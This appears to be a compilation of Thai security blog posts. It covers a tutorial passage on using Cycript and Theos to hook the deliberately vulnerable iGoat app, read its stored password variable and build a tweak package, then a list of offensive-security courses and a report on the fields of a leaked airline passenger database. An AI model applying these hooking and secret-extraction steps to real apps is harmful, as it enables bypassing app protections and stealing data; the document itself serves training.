ภาษาที่สามารถใช้ใน Cycript console ได้ คือ Javascript และ Objective-C โดยสามารถที่จะใช้ syntax ของทั้งสองภาษาผสมกันได้ในเวลาเดียวกัน
หา view controller จาก view
เมื่อ inject Cycript ไปที่ process ของ iGoat ได้แล้ว จากนั้นเข้าไปยังหน้าของ exercise `PersonalPhotoStorageVC` และใช้ code ต่อไปนี้ (ที่เป็น Objective-C ผสมกับ Javascript) เพื่อแสดง [view hierarchy ](https://developer.apple.com/library/archive/documentation/General/Conceptual/Devpedia-CocoaApp/View%20Hierarchy.html#//apple%5Fref/doc/uid/TP40009071-CH2-SW1){rel=""nofollow""}ของหน้าปัจจุบันออกมา
`cy# [[UIApp keyWindow] recursiveDescription].toString()`
> `UIApp` = ย่อมาจาก `[[UIApplication](https://developer.apple.com/documentation/uikit/uiapplication?language=objc) [sharedApplication](https://developer.apple.com/documentation/uikit/uiapplication/1622975-sharedapplication?language=objc)]` ซึ่งจะ return instance ของ `UIApplicaiton` ออกมา
>
> `[keyWindow](https://developer.apple.com/documentation/uikit/uiapplication/1622924-keywindow?language=objc)` = return instance ของ `[UIWindow](https://developer.apple.com/documentation/uikit/uiwindow?language=objc)` ที่ปรากฎอยู่บนหน้าจอปัจจุบัน
>
> `recursiveDescription` = method ที่ใช้แสดง view hierarchy ของ window นั้น ๆ

ซ้ายคือ view hierarchy, ขวาคือ เมนูที่ปรากฎอยู่บนหน้าจออุปกรณ์
เลือก view object ที่เราเห็นได้มา 1 object โดยในตัวอย่างจะเลือก instance ของ `UILabel` ที่แสดงข้อความ "Enter Password to Access Private Photos" และมี address ใน memory อยู่ที่ `0x1080f6ef0`
วิธีการในการระบุ instance เพื่อทำการ interact กับ instance นั้นสามารถระบุได้โดยใช้เครื่องหมาย `#` และตามด้วย address ของ instance เช่น `#0x1080f6ef0` ซึ่งจะทำให้เราสามารถที่จะเรียกใช้ instance method ได้
> Note: การเรียกใช้ class method สามารถทำได้โดยใช้ syntax `[ClassName MethodName]` หรือ `ClassName.MethodName()` ได้เลย
Responder
ใน iOS application จะมีสิ่งที่เรียกว่า [Responder object\*\*](https://developer.apple.com/documentation/uikit/touches%5Fpresses%5Fand%5Fgestures/using%5Fresponders%5Fand%5Fthe%5Fresponder%5Fchain%5Fto%5Fhandle%5Fevents?language=objc){rel=""nofollow""} ซึ่งมีหน้าที่ในการจัดการ event (เช่น touch, press เป็นต้น) ที่เข้ามา หาก Responder object นั้นไม่สามารถจัดการ event ดังกล่าวได้ ก็จะ forward ไปให้ Responder object ถัดไปที่ถูกกำหนดไว้ โดย Responder object จะต่อกันไปเรื่อย ๆ เป็น [\*\*Responder Chain](https://developer.apple.com/documentation/uikit/touches%5Fpresses%5Fand%5Fgestures/using%5Fresponders%5Fand%5Fthe%5Fresponder%5Fchain%5Fto%5Fhandle%5Fevents?language=objc){rel=""nofollow""} ซึ่ง instance ของ class `UIResponder`, `UIView`, `UIController` และ `UIApplication`จะมีลักษณะเป็น Responder object โดยธรรมชาติอยู่แล้ว
และโดยปกติ view controller ของ view object เป้าหมาย ก็จะอยู่ใน Responder Chain ที่ว่ามาด้วย ทำให้หากเราไล่ตาม chain ไปเรื่อย ๆ ก็จะพบกับ view controller ที่ควบคุม view object นั้นอยู่
Code ต่อไปนี้จะเป็นการเรียกใช้ instance\*\* **method** `[**nextResponder**](https://developer.apple.com/documentation/uikit/uiresponder/1621099-nextresponder?language=objc)` **เพื่อไล่ไปตาม** [\*\*Reponder Chain](https://developer.apple.com/documentation/uikit/touches%5Fpresses%5Fand%5Fgestures/using%5Fresponders%5Fand%5Fthe%5Fresponder%5Fchain%5Fto%5Fhandle%5Fevents?language=objc){rel=""nofollow""} และเมื่อไล่ไปเรื่อย ๆ เราก็จะพบกับ view controller ที่ควบคุม exercise นี้อยู่ ซึ่งก็คือ `PersonalPhotoStorageVC`

หา Controller โดยใช้ method nextResponder
> Note:
>
> 1.instance method `isKindOfClass` เอาไว้ใช้ตรวจสอบว่า instance นั้น ๆ เป็น class อะไร
>
> 2.ส่วนใหญ่แล้ว view controller อันแรกที่พบเมื่อไล่ไปตาม Responder Chain คือ controller ที่ควบคุม view object เป้าหมายของเราอยู่
หรือทางที่ง่ายกว่า คือ การใช้ instance method `_printHierarchy` (ซึ่งเป็น method ที่มีอยู่ใน class UIViewController อยู่แล้ว) ตามตัวอย่าง

หา Controller โดยใช้ method \_printHierarchy
> [rootViewController](https://developer.apple.com/documentation/uikit/uiwindow/1621581-rootviewcontroller?language=objc){rel=""nofollow""} = root view controller ของ window
>
> \_printHierarchy = method ที่ใช้แสดง view controller hierarchy ของ view controller นั้น ๆ ออกมา
พิสูจน์สมมติฐาน
เมื่อหา view controller และ instance พบแล้ว ขั้นตอนต่อไปก็คือการทดสอบเข้าถึง instance variable `NSString *_pw` ว่าเป็น variable ที่เก็บ password ไว้จริงหรือไม่ โดยใช้คำสั่งดังรูป

เข้าถึง instance variable \_pw
> `0x109f195e0` คือ address ของ instance ของ `PersonalPhotoStorageVC`
password ของ exercise นี่คือ "opensesame" นั้นเอง
ทดสอบเรียกใช้งาน instance method `— (id)thePw` ก็พบว่าเป็นไปตามที่ได้ตั้งสมมติฐานไว้ คือ method ดังกล่าว return password กลับมา

เรียกใช้งาน method thePw
---
### ขั้นตอนที่ 4 ทดสอบแก้ไข component
จากที่สามารถหา password ที่ถูกต้องได้แล้ว ขั้นตอนต่อไปคือการหา instance ของ [text field](https://developer.apple.com/documentation/uikit/uitextfield?language=objc){rel=""nofollow""} เพื่อทำการแก้ไข `[text](https://developer.apple.com/documentation/uikit/uitextfield/1619635-text?language=objc)` ให้แสดงเป็น password ที่เราพบ (instance variable `_pw`)
จาก Part 2 จะพบว่า class `PersonalPhotoStorageVC` มี property `theTextField`อยู่ ซึ่งเป็น text field เป้าหมายที่เรากำลังหาอยู่แน่นอน ว่าแล้วก็มาทดลองแก้ไขกันเลยครับ

ทดสอบแก้ไข property text ของ text field
> บรรทัดที่ 1 คือ การเรียกใช้ method `setText` และส่ง argument เป็นค่าของ `_pw`เข้าไป
>
> บรรทัดที่ 2 คือ การเรียก object ออกมาเพื่อดูว่า property text ได้เปลี่ยนไปเป็น password แล้วหรือไม่
Code ด้านล่างจะเป็นการเปลี่ยนสีตัวอักษรใน text field ให้เป็นสีแดง
`cy# #0x109f195e0.theTextField.textColor = [UIColor redColor]`
ผลลัพธ์สุดท้ายจะเห็นว่าเป็นไปตามเป้าหมายที่เราตั้งไว้

ผลลัพธ์สุดท้ายจากการทดสอบแก้ไข component
แต่ภารกิจยังไม่จบ.. จะเห็นว่าขั้นตอนข้างต้นเราเป็นคนหา instance และแก้ไขเองทั้งหมด แต่หากต้องการให้ เมื่อมีการ load หน้า exercise `Personal Photo Storage `ขึ้นมา ใน text field จะต้องแสดง password ที่ถูกต้องและเป็นตัวอักษรสีแดง โดยอัตโนมัติ จะทำอย่างไร?
คำตอบก็คือ จะต้องเอา code ที่เราทดสอบแก้ไขข้างต้น ไปเพิ่มใน method `[viewDidLoad](https://developer.apple.com/documentation/uikit/uiviewcontroller/1621495-viewdidload?language=objc)` ของ class `PersonalPhotoStorageVC`
โดย method `viewDidLoad` จะเป็น method ที่ถูกเรียกใช้อัตโนมัติเมื่อ view hierarchy ทั้งหมดของ view controller นั้นถูก load ไปบน memory เรียบร้อยแล้ว ซึ่งเป็นจุดที่เหมาะสมที่สุดที่จะใช้แก้ไข text field
คำถามต่อมาคือ แล้วจะเพิ่มอย่างไร? ก็เพิ่มโดยการใช้เทคนิคที่เรียกว่า method swizzling ที่เคยพูดถึงไปใน [Part 1](https://incognitolab.com/blogs/the-basic-of-developing-ios-tweak-part-1-4) นั้นเอง
### Method swizzling
สำหรับการทำ method swizzling บน Cycript โดยเพิ่ม code ของเราต่อท้ายไปกับการทำงานเดิมของ method\*\* สามารถทำได้โดยการเรียกใช้งานฟังก์ชั่น [\*\*MS.hookMessage](http://www.cycript.org/manual/#4a5c5948-5163-474d-924d-a2917c18c7ca){rel=""nofollow""} (ซึ่งฟังก์ชั่นนี้ จะไปเรียกใช้ [MSHookMessageEX](http://www.cydiasubstrate.com/api/c/MSHookMessageEx/){rel=""nofollow""} ของ Cydia Substrate อีกที) โดยก่อนที่จะสามารถเรียกใช้งานฟังก์ชั่นนี้ได้ จะต้องทำการ import Cycript script ตาม code ต่อไปนี้ก่อน
`@import com.saurik.substrate.MS`
หาก script ที่ import มามีอาการแปลก ๆ หรือหาไฟล์ script ไม่เจอ สามารถไปดาวน์โหลดไฟล์ MS.cy ใหม่ได้[ที่นี่](https://github.com/simpzan/cycript/blob/master/cycript0.9/com/saurik/substrate/MS.cy){rel=""nofollow""} และนำไปไว้ที่ path `/usr/lib/cycript0.9/com/saurik/substrate/` เท่านี้ MS.cy ก็จะสามารถใช้งานได้ปกติ
จากนั้นจึงเรียกใช้งานฟังก์ชั่น MS.hookMessage ซึ่งมี syntax ดังต่อไปนี้
`MS.hookMessage(ClassName, @selector(MethodName), function(){ doSomething;}, old_method_pointer)`
โดยส่วนของ `function(){doSomething;}` คือส่วน implementation ใหม่ที่จะเอาไปแทนที่ implementation เดิมของ method `viewDidLoad`
เมื่อเอาผลการวิเคราะห์และผลการทดสอบทั้งหมดมาประกอบกัน เราจะได้ Cycript script version สุดท้ายตามด้านล่าง
```text
บรรทัดที่ 4 คือการเรียกใช้งาน implementation เดิมของ method `viewDidLoad`
บรรทัดที่ 5 คือการเปลี่ยน `text` ของ text field ให้แสดง password
บรรทัดที่ 6 คือการเปลี่ยนสีตัวอักษรใน text field ให้เป็นสีแดง
```
จากตัวอย่าง script ข้างบน เราสามารถที่จะพิมพ์ทีละบรรทัดลงไปใน Cycript console หรือเก็บเป็นไฟล์ และใช้ Cycript เรียกใช้งานในภายหลังก็ได้เช่นกัน โดยใช้คำสั่งด้านล่าง
`cycript -p iGoat script.cy`
ผลสุดท้ายที่ได้คือเมื่อเข้าไปยัง exercise `PersonalPhotoStorageVC` ในช่อง text field ก็จะปรากฎ password สีแดงที่ถูกต้องเสมอ
ผลลัพธ์สุดท้ายจากการใช้ Cycript script
```text
Note: หากไม่ต้องการเรียกใช้งาน implementation เก่าของ method เราสามารถทำ method swizzling ได้ง่าย ๆ
โดยใช้ syntax `ClassName.prototype["MethodName"] = function(){dosomething;}`
```
---
## ทิ้งท้าย…
จากขั้นตอนการวิเคราะห์ทั้งหมดจะเห็นได้ว่ามีขั้นตอนที่ค่อนข้างง่าย เพราะชื่อ class, method, variable และ property สื่อความได้ตรงไปตรงมา แต่หากชื่อของ class, method, variable และ property ไม่ได้บอกอะไรเราเลยหล่ะว่ามันมีไว้ใช้ทำอะไร? หรือเก็บค่าอะไร? เราก็จะต้องใช้เครื่องมืออื่นในการทำ static analysis (เช่น Hopper, IDA, Ghidra) และ dynamic analysis (เช่น LLDB, GDB) เพิ่มเติม เพื่อให้เข้าใจมากยิ่งขึ้นว่าใน class หรือ method นั้น ๆ มีการทำงานจริง ๆ เป็นอย่างไร โดยจะมีกล่าวถึงในบทความถัด ๆ ไป (ซึ่งไม่ใช่ในบทความ basic นี้) ครับ
เมื่อผ่านขั้นตอนที่ 4 แล้วเราก็จะได้ prototype Tweak (ที่เป็น Cycript script) ที่เราต้องการ และในขั้นตอนสุดท้าย คือ ขั้นตอนที่ 5 เราก็จะนำ prototype ที่ได้ ไปทำการพัฒนาโดยใช้ Theos ให้เป็น Tweak ที่สมบูรณ์ต่อไปครับ
> Note: สำหรับ Trick ในการใช้งาน Cycript เพิ่มเติม สามารถดูได้ที่นี่
>
> {rel=""nofollow""}
>
> {rel=""nofollow""}
>
> {rel=""nofollow""}
[/blogs/the-basic-of-developing-ios-tweak-part-4-4](https://incognitolab.com/blogs/the-basic-of-developing-ios-tweak-part-4-4)
# The basic of developing iOS Tweak (Part 4/4)

ขั้นตอนการพัฒนา Tweak
ใน [Part 2](https://incognitolab.com/blogs/the-basic-of-developing-ios-tweak-part-2-4) และ [Part 3](https://incognitolab.com/blogs/the-basic-of-developing-ios-tweak-part-3-4) เราได้พูดถึงและอธิบายวิธีการวิเคราะห์และทำ prototype Tweak จนถึงขั้นตอนที่ 4 แล้ว สำหรับใน Part นี้จะเป็นขั้นตอนที่ 5 ซึ่งเป็นขั้นตอนที่จะนำ prototype ที่ได้มาพัฒนาเป็น Tweak โดยใช้ Theos กันครับ
ก่อนจะเริ่มลงมือ เรามาทำความรู้จักกับ Theos กันซักเล็กน้อยก่อน
## Theos

[Theos](http://theos.dev/){rel=""nofollow""} คือ platform ที่สร้างมาเพื่อให้สามารถจัดการ, พัฒนา หรือ deploy iOS application ได้ โดยไม่ต้องพึ่งพา Xcode ซึ่ง Theos support ระบบปฏิบัติการ MacOS, Linux หรือแม้กระทั่ง Windows อีกทั้ง Theos เองก็มี template ไว้ช่วยในการพัฒนา Tweak ให้สามารถทำได้ง่ายยิ่งขึ้น (และ Tweak ส่วนใหญ่ใน Cydia ก็ใช้ Theos ในการพัฒนา)
Theos จะใช้ syntax ที่เรียกว่า [Logos](https://github.com/theos/logos){rel=""nofollow""} ในการพัฒนา Tweak โดย Logos จะมีลักษณะที่เหมือนกันกับ Objective-C แต่จะมีการเพิ่ม feature บางอย่างที่ทำให้สามารถ hook method/function ได้ง่ายยิ่งขึ้น
สำหรับวิธีการติดตั้งและตั้งค่า Theos สามารถดูวิธีการได้[ที่นี่](https://github.com/theos/theos/wiki/Installation){rel=""nofollow""}
ในขั้นตอนสุดท้ายนี้ จะเป็นการ compile และสร้างไฟล์ package ของ Tweak เพื่อที่จะสามารถนำไปติดตั้งบนอุปกรณ์หรือ upload ไปยัง repository เพื่อเผยแพร่ให้คนอื่นสามารถติดตั้งได้ โดยวิธีการที่จะพูดถึงต่อไปนี้จะเป็นวิธีการที่ Tweak ส่วนใหญ่ที่เราใช้งานอยู่ ได้ถูกสร้างขึ้นมา
เกริ่นนำมาเยอะแล้ว เรามาเริ่มพัฒนา Tweak ของเราเองบ้างดีกว่า โดยนำ prototype ที่ได้จาก Part 3 มาพัฒนาให้เป็น Tweak จริง ๆ กันเลยครับ
### ขั้นตอนที่ 5 พัฒนา Tweak โดยใช้ Theos
ก่อนที่จะเขียน code เพื่อ hook method/function เราจะต้อง generate template ของ Tweak ขึ้นมาซะก่อน
#### สร้าง Theos project
ไปยังโฟลเดอร์ที่ต้องการให้เป็น working directory ของ Tweak จากนั้นทำการ execute ไฟล์ `nic.pl` ([New Instance Creator](https://github.com/theos/theos/wiki/NIC){rel=""nofollow""}) ของ Theos ซึ่งเป็นไฟล์ที่ใช้สร้าง template

execute ไฟล์ nic.pl เพื่อสร้าง template ของ Tweak
ที่ option `Choose a Template` ให้เลือก template ที่ 13 (iphone/tweak) เพื่อสร้าง Tweak (template อื่น ๆ ไว้ใช้ทำอะไรดูได้จาก[ที่นี่](https://github.com/theos/theos/wiki/NIC){rel=""nofollow""})
สำหรับ option`Project Name`, `Package Name` และ`Author/Maintainer Name` จะเป็นค่าอะไรก็ได้
แต่ส่วนที่สำคัญคือ option `MobileSubstrate Bundle filter` ซึ่งจะต้องเป็นชื่อ bundle ของ application เป้าหมาย (ดูได้จากไฟล์ Info.plist ตามที่ได้พูดถึงไปใน [Part 2](https://medium.com/incognitolab/the-basic-of-developing-ios-tweak-part-2-4-403d2255c9ae){rel=""nofollow""}) ในที่นี้คือ `com.swaroop.iGoat`
และอีก option ที่สำคัญ `List of application to terminate upon installation` จะเป็น option ที่จะให้เรากำหนดว่าเมื่อ Tweak ของเราถูกติดตั้งบนอุปกรณ์แล้ว จะให้ทำการ terminate process ของ application ไหนทิ้ง เพราะบางครั้ง Tweak จะเห็นผลเมื่อ restart application เท่านั้น ในที่นี้จะใส่เป็น executable name `iGoat`
เมื่อใส่ option ครบสมบูรณ์แล้ว เราจะได้โฟลเดอร์ตามชื่อ `Project Name` มา
#### โครงสร้างของ template
เมื่อเข้าไปในโฟลเดอร์ของ template จะพบกับไฟล์ตามรูป ที่ถูกสร้างขึ้นมาจาก `nic.pl`

แล้วแต่ละไฟล์ในโฟลเดอร์เอาไว้ใช้ทำอะไรกัน?
[Makefile](https://en.wikipedia.org/wiki/Makefile){rel=""nofollow""}
ไฟล์ที่ใช้เก็บข้อมูลพื้นฐานที่จำเป็นสำหรับการ compile code และสร้าง package ของ Tweak เพื่อเอาไปใช้งาน ในเบื้องต้นไฟล์จะมี content ดังรูป

> `include` คือการ include ไฟล์ที่จำเป็นในการ compile Tweak ของ Theos ในส่วนนี้เราไม่จำเป็นต้องแก้ไข
>
> `TWEAK_NAME` คือชื่อของ Tweak ที่เราใส่ไปตอนที่สร้าง template
>
> `ez_igoat_tweak_FILES` คือ Source file (ไฟล์ code) ของ Tweak
>
> `after-install` คือ Parameter ที่ใช้สำหรับระบุว่าหลังจาก install Tweak บนอุปกรณ์เสร็จแล้ว จะให้ execute คำสั่งอะไรต่อไป ในกรณีนี้คือการ terminal process iGoat ซึ่งคำสั่งที่ปรากฎอยู่ก็มาจากค่าที่เราใส่ไปตอนที่สร้าง template นั่นเอง
นอกจาก parameter ที่พูดถึงไปแล้ว เราสามารถกำหนดค่าอื่น ๆ เพิ่มเติมได้อีกตามความต้องการโดยสามารถดูรายละเอียดได้[ที่นี่](https://github.com/theiostream/theos-ref/blob/master/2%5F0%5FMAKEFILE.md){rel=""nofollow""}
control
คือไฟล์ข้อมูลพื้นฐานของ Tweak package โดยข้อมูลพวกนี้จะไปปรากฎอยู่บน Cydia ให้ผู้ใช้งานได้ทราบ

ซึ่ง parameter โดยส่วนใหญ่ในไฟล์นี้ เราสามารถแก้ไขเป็นค่าอะไรก็ได้ตามต้องการ สำหรับความหมายของแต่ละ parameter สามารถดูได้จาก[ที่นี่](http://www.saurik.com/id/7){rel=""nofollow""}
> Note:\*\* ค่าของ Parameter `Package` ด้านหลังสุดจะต้องไม่ประกอบไปด้วยสัญลักษณ์ เพราะฉะนั้นจะต้องเปลี่ยนค่าเป็น `com.yourcompany.**ezigoattweak`
ez\_igoat\_tweak.plist
คือไฟล์ plist ที่ใช้ระบุ scope ของ Tweak ว่า เป้าหมายของ Tweak นี้คือ bundle, class หรือไฟล์ executable ไหน ในเบื้องต้นระบุแค่ bundle ก็เพียงพอ แต่เราก็สามารถระบุ class, ไฟล์ executable ได้เช่นเดียวกัน

Tweak.xm
และสำหรับไฟล์ที่สำคัญไฟล์สุดท้าย คือไฟล์ Tweak.xm ที่ใช้เก็บ code หลักของ Tweak นั่นเอง โดยไฟล์ที่ถูกสร้างขึ้นมาจะมี content ที่บอกวิธีการเขียน code โดยใช้ Logos syntax เพื่อ hook Objective-C method ไว้คร่าว ๆ แล้ว

#### ลงมือเขียน code
สำหรับการเขียน code โดยใช้ Logos syntax เพื่อทำการ hook method/function นั่น จะมีสิ่งที่เรียกว่า directive ที่จะช่วยให้การเขียน code เพื่อ hook method/function ทำได้ง่ายขึ้นอยู่ โดย directive ที่สำคัญจะมีดังต่อไปนี้
`%hook` — ใช้สำหรับเปิด block ของ code เพื่อ hook Objective-C method โดยจะต้องระบุ class ของ method ที่ต้องการจะ hook และเมื่อสิ้นสุด code ส่วนที่ทำการ hook แล้ว จะต้องปิด block ด้วย `%end` เสมอ
`%orig` — ใช้สำหรับเรียกใช้งาน implementation เดิมของ method ที่ถูก hook
`%log`— ใช้สำหรับบันทึก string ที่ต้องการไปยัง system log ของอุปกรณ์ โดยสามารถที่จะบันทึก class, argument ของ method ที่ถูก hook ได้เช่นกัน
`%new` — ใช้สำหรับเพิ่ม method ใหม่ไปใน class ที่ถูก hook
นอกจาก diractive ที่สำคัญและต้องใช้เป็นประจำข้างต้นแล้ว Logos ก็ยังมี derective ตัวอื่น ๆ อีกที่อาจทำให้การพัฒนา Tweak ง่ายขึ้นไปอีกขั้น โดยสามารถดูรายละเอียดเพิ่มเติมได้[ที่นี่](https://github.com/theos/logos/wiki/Syntax){rel=""nofollow""}
เมื่อรู้วิธีการใช้งาน directive แล้ว เราก็สามารถนำ prototype Tweak จาก [Part 3](https://medium.com/incognitolab/the-basic-of-developing-ios-tweak-part-3-4-2e96de2c4550){rel=""nofollow""} มาแปลงเป็น Logos syntax ได้ไม่ยาก
```text
@import com.saurik.substrate.MS
var old_method_pointer = {}
MS.hookMessage(PersonalPhotoStorageVC, @selector(viewDidLoad), function(){
old_method_pointer->call(this);
this.theTextField.text = this->\_pw;
this.theTextField.textColor = \[UIColor redColor\];
},old_method_pointer)
```
prototype Tweak จาก Part 3
แต่จะมีสิ่งหนึ่งที่ต้องทำก่อนคือ หากเราต้องการจะเรียกใช้งาน method, variable และ property ใด ๆ ของ class ที่จะ hook เราจะต้องประกาศ class, method, variable และ property นั้น ๆ ไว้ในไฟล์ header ด้วย เพื่อให้ [linker](https://en.wikipedia.org/wiki/Linker%5F%28computing%29){rel=""nofollow""} รู้ว่า method, variable และ property นั้นมีอยู่ และจะ compile ได้ผ่าน
สำหรับในกรณีนี้เรามี variable และ property ของ class `PersonalPhotoStorageVC` ที่ต้องเรียกใช้งานคือ `_pw` และ `theTextField` ตามลำดับ
> Note:\*\* method, variable และ property \*\*ที่ต้องการจะ hook ไม่จำเป็นต้องถูกประกาศในไฟล์ header
```text
@interface PersonalPhotoStorageVC : UIViewController {
NSString \*\_pw;
UITextField \*\_theTextField;
}
@property(nonatomic, retain) UITextField \*theTextField;
@end
```
ไฟล์ header PersonalPhotoStorageVC.h
ต่อไปก็จะเป็นการเขียน code ไปในไฟล์ Tweak.xm โดยใช้ Logos syntax
```text
#import
%hook PersonalPhotoStorageVC
// Hooking an instance method with no arguments.
\- (void)viewDidLoad {
%orig;
self.theTextField.text = \[self valueForKey:@"\_pw"\];
self.theTextField.textColor = \[UIColor redColor\];
}
// Always make sure you clean up after yourself; Not doing so could have grave consequences!
%end
```
code ในไฟล์ Tweak.xm
```text
บรรทัดที่ 1 คือการ import ไฟล์ header `PersonalPhotoStorageVC.h`
บรรทัดที่ 3 คือการเปิด block ของ code โดยใช้ `%hook` และตามด้วยชื่อ class ที่จะ hook
บรรทัดที่ 6 คือการเริ่มต้น hook method `viewDidLoad`
บรรทัดที่ 7 คือการเรียกใช้งาน implementation เดิมของ method `viewDidLoad`
บรรทัดที่ 8 คือการเปลี่ยน `_text_` ของ text field ให้แสดง password โดย `[self valueForKey:@"_pw"]` คือการเข้าถึงค่าที่ถูกเก็บไว้ที่ instance variable `_pw`
บรรทัดที่ 13 คือการปิด block ของ code ที่ทำหน้าที่ hook โดยใช้ `%end`
```
#### Compile และสร้าง package
เมื่อแก้ไขและสร้างไฟล์ต่าง ๆ เสร็จเรียบร้อยแล้ว ขั้นตอนต่อไปก็คือการ compile วิธีการคือให้ไปที่โฟลเดอร์ของ Tweak และใช้คำสั่ง `make` หากไม่มีการกำหนด architecture ที่ต้องการ support ใน Makefile โดย default แล้ว Tweak จะถูก compile เพื่อ support architecture ทั้งแบบ armv7 และ arm64

และไฟล์ผลลัพธ์จากการ compile จะอยู่ใน path `.theos/obj/debug/`

จากนั้นใช้คำสั่ง `make package` เพื่อสร้างไฟล์ package [deb](https://en.wikipedia.org/wiki/Deb%5F%28file%5Fformat%29){rel=""nofollow""} (Debian package) โดยไฟล์ที่ได้ จะเป็นไฟล์ที่สามารถนำไปติดตั้งในอุปกรณ์ได้ เมื่อสร้างไฟล์ package เสร็จสมบูรณ์ ตัวไฟล์จะอยู่ในโฟลเดอร์ packages

หากลอง extract ไฟล์ package deb ออกมา ก็จะพบกับโฟลเดอร์ Library ที่มีไฟล์ dylib ซึ่งเป็นหัวใจหลักของ Tweak


ติดตั้ง Tweak บนอุปกรณ์
Copy ไฟล์ package deb ที่ได้ไปยังอุปกรณ์และใช้คำสั่งต่อไปนี้เพื่อติดตั้ง Tweak บนอุปกรณ์

> -i = ติดตั้ง package
และหากทดสอบใช้งาน application iGoat ก็จะพบว่า Tweak ทำงานได้สมบูรณ์ ตามเป้าหมายที่ได้วางไว้

เมื่อลองทดสอบดูข้อมูลของ Tweak บน Cydia จะเห็นว่า ข้อมูลจากไฟล์ control จะถูกนำมาแสดง

### ทิ้งท้าย…
เมื่อเข้าใจวิธีการพัฒนา Tweak แล้ว จะทำให้เราสามารถที่จะไปอ่าน Tweak ที่ถูกพัฒนาโดยคนอื่นอย่างเข้าใจ อีกทั้งสามารถแก้ไขหรือสร้าง Tweak ของตัวเองขึ้นมาใช้งานได้
สำหรับในบทความนี้จะเป็นการพูดถึงการสร้าง Tweak ของ store application เท่านั้น สำหรับการทำ Tweak ของ system application จะมีความซับซ้อนมากกว่าพอสมควร โดยจะมีกล่าวถึงในบทความถัด ๆ ไปครับ
ขอจบ basic แต่เพียงเท่านี้…
# Cybersecurity training course
เชื่อว่าหลาย ๆ คนรู้จักคอร์สดัง ๆ จากค่ายต่าง ๆ ทั้ง SANS, Offensive Security, eLearnSecurity อยู่แล้ว บทความนี้อยากพูดถึงคอร์สที่เชื่อว่าหลายคนอาจไม่เคยรู้ว่ามันมีด้วยเหรอ ซึ่งส่วนใหญ่ก็จะเป็นมีประเด็นทำให้เราไม่รู้จักดังนี้
1. คอร์สเปิดไม่บ่อยและมักเปิดในต่างประเทศ
2. คอร์สไม่ได้เน้น mass แบบค่ายต่าง ๆ ที่แนะนำข้างต้น
3. ราคาของคอร์ส
ซึ่งคอร์สดัง ๆ ดูได้จากไหนเป็นหลัก? หนึ่งใน source ที่ผมเชื่อถือคือดูจากงาน BlackHat Training ดูว่าคอร์สไหนเปิดบ่อย ๆ และไปไล่ดูว่าคนสอนคือใคร จากบริษัทไหน แล้วค่อยเข้าเว็บของบริษัทนั้นโดยตรง นอกจากนี้ก็ conference อื่น เช่น BruCON, HITB ซึ่งคอร์สจากงานพวกนี้แค่เห็นชื่อกับคำบรรยายก็ประทับใจแล้วอ่ะ ยิ่งถ้าได้อ่าน review คนไปเรียนยิ่งน่าสนใจ
โดยส่วนตัวก็ได้เห็น content จากหลายคอร์สเหมือนกัน มาดูว่ากันว่ามีไรน่าสนใจบ้างครับ
- Corelan: สาย Exploit Development คงรู้จักดี แค่ free tutorial ของเค้าก็เจ๋งมากแล้ว มี 2 course คือ Bootcamp กับ Advanced {rel=""nofollow""}
- Practical cellular network (3G/4G/5G) security and attacks (คอร์สจาก HITB) {rel=""nofollow""}
- Mainframe Penetration Testing มันคงมีไม่กี่คอร์สที่สอน Security ของ Mainframe ใช่ไหม แค่หาใช้ Mainframe ก็ยากแล้ว [https://evilmainframe.com](https://evilmainframe.com/){rel=""nofollow""}
- Antid0te UG: คอร์สแนวเน้นหาช่องโหว่ iOS เช่น iOS 12/13 Kernel Exploitation Training, iOS 12/13 Advanced Userspace Exploitation Training ลองดูได้ที่ [https://www.antid0te.com](https://www.antid0te.com/){rel=""nofollow""}
- Silent Break Security: Dark Side Ops - Malware Dev ({rel=""nofollow""})
- Attify: เน้น IoT กับ Mobile ลองดูครับ [https://www.attify.com](https://www.attify.com/){rel=""nofollow""}
- SpecterOps: สาย Red Team ต้องรู้จักนะ ทีมที่เขียน BloodHound มี Red Teaming Course ที่ดัง {rel=""nofollow""}
อีกหนึ่งสิ่งที่เราควรรู้เวลาซื้อคอร์สพวกนี้คือ Course พวกนี้ถ้าไปเปิดตามงานใหญ่อย่าง BlackHat เค้าจะถูกจำกัดด้วยระยะเวลา และ ราคาก็มักจะแพงกว่าเค้าเปิดเอง (คิดว่าเค้าน่าจะโดนหัก %) ดังนั้นถ้าเลือกได้ทั้งเวลาและสถานที่ที่สะดวก เน้นประหยัด ก็ควรหาที่เจ้าของคอร์สเค้าเปิดเองจะดีกว่าครับ
อีกอย่างที่ควรหาอ่านคือ การ review course จากคนที่ไปเรียนมา เช่น
SpecterOps: {rel=""nofollow""}
Dark Side Ops: {rel=""nofollow""}
นอกจากคอร์สเหล่านี้ใครมีคอร์สไหนที่น่าสนใจ แนะนำได้เลยนะครับ
---
อ่านเสร็จแล้วใครสนใจก็อย่าลืมเตรียมเงินไปสมัครคอร์สนะครับ 555
{width="100%"}
# ข้อมูลผู้โดยสาร Thai Lion Air และ Malindo Air รั่ว 74 ล้านรายการ
เรื่องข้อมูลรั่วไหล ช่วงนี้คงหนีไม่พ้น Thai Lion Air ซึ่งนอกจาก Thai Lion Air แล้วก็มี Malindo Air โดยทั้งคู่เป็นบริษัทลูกของ Lion Air ข้อมูลที่หลุดออกมามี 4 Files ขนาดรวมกันทั้งหมดก็ประมาณ 15GB จำนวนบรรทั้งหมด 74,784,649 บรรทัด
ชื่อไฟล์จะแนวๆ Passengers กับ PassengerDetails
ด้านล่างเป็น Field ที่อยู่ในแต่ละ File ครับ
## Passengers
```text
PassengerID,MainPassengerID,PassengerType,ReservationID,Title,FirstName,SurName,DateOfBirth,MobileNo,PassportNo,PassportExpDate,PassportCountry,Nationality,FFType,FFNo,Seating,Assistance,Meal,OldPassengerID,PaxLoginId,Temp_PassengerID,FFTypeCode,PassportIssueDate,GENDER,Occupation,TravellerProfileID,ContactNoType,DocType,IBSeating,IBMeal,PaxSuffix,DocumentID,DocumentExpDate,SpecialType,InsDocumentType,InsDocumentId,GWOrganizationName,GWGovtID,NDCPaxId
```
## PassengerDetails
```text
PassengerDetailsID,PassengerID,ReservationID,Address1,Address2,City,County,Postcode,CountryName,Fax,Telephone,Email,EmergContact_Title,EmergContact_FirstName,EmergContact_SurName,EmergContact_Relationship,EmergContact_AreaCode,EmergContact_Telephone,IsSendSMS,BusinessContactNo
```
